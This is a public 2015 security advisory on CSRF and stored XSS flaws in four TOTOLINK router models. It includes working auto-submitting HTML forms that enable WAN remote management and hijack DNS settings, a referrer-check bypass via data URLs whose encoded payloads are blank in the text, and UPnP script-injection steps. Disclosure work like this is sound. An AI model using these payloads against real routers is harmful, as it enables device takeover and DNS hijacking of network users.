## Advisory Information

Title: 4 TOTOLINK router models vulnerable to CSRF and XSS attacks
Advisory URL: https://pierrekim.github.io/advisories/2015-totolink-0x01.txt
Blog URL: http://pierrekim.github.io/blog/2015-07-16-4-TOTOLINK-products-vulnerable-to-CSRF-and-XSS-attacks.html
Date published: 2015-07-16
Vendors contacted: None
Release mode: Released, 0day
CVE: no current CVE



## Product Description

TOTOLINK is a brother brand of ipTime which wins over 80% of SOHO
markets in South Korea.
TOTOLINK produces routers routers, wifi access points and network
devices. Their products are sold worldwide.



## Vulnerability Summary

TOTOLINK iPuppy, iPuppy3, N100RE and N200RE are wireless LAN routers.
Their current firmwares with default configuration are
vulnerable to CSRF-attacks and XSS attacks.
Since, the anti-CSRF protection is based on a static HTTP referrer
(RFC 1945), an attacker can take over
most of the configuration and settings using anyone inside the LAN of
the router. Owners are urged to
contact TOTOLINK, and activate authentication on this product
(disabled by default).

It affects (firmware come from totolink.net and from totolink.cn):

TOTOLINK iPuppy : firmware 1.2.1 (TOTOLINK iPuppy__V1.2.1.update)
TOTOLINK iPuppy3 : firmware 1.0.2 (TOTOLINK iPuppy3_V1.0.2.update)
TOTOLINK N100RE-V1 : firmware V1.1-B20140723-2-432-EN
(TOTOLINK-N100RE-IP04216-RT5350-SPI-1M8M-V1.1-B20140723-2-432-EN.update)
TOTOLINK N200RE : firmware V1.4-B20140724-2-457-EN
(TOTOLINK-N200RE-IP04220-MT7620-SPI-1M8M-V1.4-B20140724-2-457-EN.update)



## Details - CSRF

The HTTP interface allows to edit the configuration. This interface is
vulnerable to CSRF.

Configuration and settings can be modified with CSRF attacks:
Activate the remote control management
Change the DNS configuration
Update the firmware
Change the Wifi Configuration
Create TCP redirections to the LAN
and more...


Example of forms exploiting the CSRF:


o Activating the remote control management on port 31337/tcp listening
on the WAN interface.

<html>
<head>
<script>
function s() {
document.f.submit();
}
</script>
</head>
<body onload="s()">
<form id="f" name="f" method="POST" action="http://192.168.1.1/do_cmd.htm">
<input type="hidden" name="CMD" value="SYS">
<input type="hidden" name="GO" value="firewallconf_accesslist.html">
<input type="hidden" name="nowait" value="1">
<input type="hidden" name="SET0" value="17367296=31337">
<input type="hidden" name="SET1" value="17236224=1">
</form>
</body>
</html>


o Changing the DNS configuration to 0.2.0.7 and 1.2.0.1:

<html>
<head>
<script>
function s() {
document.f.submit();
}
</script>
</head>
<body onload="s()">
<form id="f" name="f" method="POST" action="http://192.168.1.1/do_cmd.htm">
<input type="hidden" name="CMD" value="WAN">
<input type="hidden" name="GO" value="netconf_wansetup.html">
<input type="hidden" name="SET0" value="50397440=2">
<input type="hidden" name="SET1" value="50856960=64-E5-99-AA-AA-AA">
<input type="hidden" name="SET2" value="235077888=1">
<input type="hidden" name="SET3" value="235012865=0.2.0.7">
<input type="hidden" name="SET4" value="235012866=1.2.0.1">
<input type="hidden" name="SET5" value="51118336=0">
<input type="hidden" name="SET6" value="51839232=1">
<input type="hidden" name="SET7" value="51511552=1500">
<input type="hidden" name="SET8" value="117834240=">
<input type="hidden" name="SET9" value="117703168=">
<input type="hidden" name="SET10" value="117637376=1492">
<input type="hidden" name="SET11" value="51446016=1500">
<input type="hidden" name="SET12" value="50463488=192.168.1.1">
<input type="hidden" name="SET13" value="50529024=255.255.255.0">
<input type="hidden" name="SET14" value="50594560=192.168.1.254">
</form>
</body>
</html>


The variable GO is an open redirect. Any URL like
http://www.google.com/ for instance can be used.
The variable GO is also vulnerable to XSS. It's out of scope in this advisory.


To bypass the protection (which checks the refer), you can, for
example, base64 the form and include
it in the webpage.
The refer will be empty and the CSRF will be accepted by the device:



o activate_admin_wan_csrf_bypass.html:

<html>
<head>
<meta http-equiv="Refresh"
content="1;url=data:text/html;charset=utf8;base64, ">
</head>
<body>
</body>
</html>


Visiting activate_admin_wan_csrf_bypass.html in a remote location will activate
the remote management interface on port 31337/TCP.

You can test it through
http://pierrekim.github.io/advisories/2015-totolink-0x01-PoC-change_dns_csrf_bypass.html



o change_dns_csrf_bypass.html:

<html>
<head>
<meta http-equiv="Refresh"
content="1;url=data:text/html;charset=utf8;base64, 
  ">
</head>
<body>
</body>
</html>


Visiting activate_admin_wan_csrf_bypass.html in a remote location will
change the DNS servers
provided by the TOTOLINK device in the LAN.

You can test it through
http://pierrekim.github.io/advisories/2015-totolink-0x01-PoC-activate_admin_wan_csrf_bypass.html



## Details - stored XSS and fun

There is a stored XSS, which can be injected using UPNP from the LAN,
without authentication:

upnp> host send 0 WANConnectionDevice WANIPConnection AddPortMapping

Required argument:
Argument Name:  NewPortMappingDescription
Data Type:      string
Allowed Values: []
Set NewPortMappingDescription value to: <script>alert("XSS");</script>

Required argument:
Argument Name:  NewLeaseDuration
Data Type:      ui4
Allowed Values: []
Set NewLeaseDuration value to: 0

Required argument:
Argument Name:  NewInternalClient
Data Type:      string
Allowed Values: []
Set NewInternalClient value to: <script>alert("XSS");</script>

Required argument:
Argument Name:  NewEnabled
Data Type:      boolean
Allowed Values: []
Set NewEnabled value to: 1

Required argument:
Argument Name:  NewExternalPort
Data Type:      ui2
Allowed Values: []
Set NewExternalPort value to: 80

Required argument:
Argument Name:  NewRemoteHost
Data Type:      string
Allowed Values: []
Set NewRemoteHost value to: <script>alert("XSS");</script>

Required argument:
Argument Name:  NewProtocol
Data Type:      string
Allowed Values: ['TCP', 'UDP']
Set NewProtocol value to: TCP

Required argument:
Argument Name:  NewInternalPort
Data Type:      ui2
Allowed Values: []
Set NewInternalPort value to: 80


upnp>


The UPNP webpage in the administration area
(http://192.168.0.1/popup_upnp_portmap.html) will show:

[...]
<tr>
<td class=item_td>TCP</td>
<td class=item_td>21331</td>
<td class=item_td><script>alert("XSS")<script>alert("XSS");</script>:28777</td>
<td class=item_td><script>alert("XSS");</script></td>
</tr>
[...]


- From my research, there are some bits overflapping with others,
resulting in showing funny ports
and truncating input data. A remote DoS against the upnpd process
seems to be easily done.

Gaining Remote Code Execution by UPNP exploitation is again left as a
exercise for the reader.



## Vendor Response

Due to "un-ethical code" found in TOTOLINK products (= backdoors found
in new TOTOLINK devices), TOTOLINK was not contacted in regard of this
case.



## Report Timeline

* Apr 20, 2015: Vulnerabilities found by Pierre Kim in ipTIME devices.
* Jun 20, 2015: Vulnerabilities confirmed with reliable PoCs.
* Jun 25, 2015: Vulnerabilities found in TOTOLINK products by looking
for similar ipTIME products.
* Jul 16, 2015: A public advisory is sent to security mailing lists.



## Credit

These vulnerabilities were found by Pierre Kim (@PierreKimSec).



## Greetings

Big thanks to Alexandre Torres.



## References

https://pierrekim.github.io/advisories/2015-totolink-0x01.txt



## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
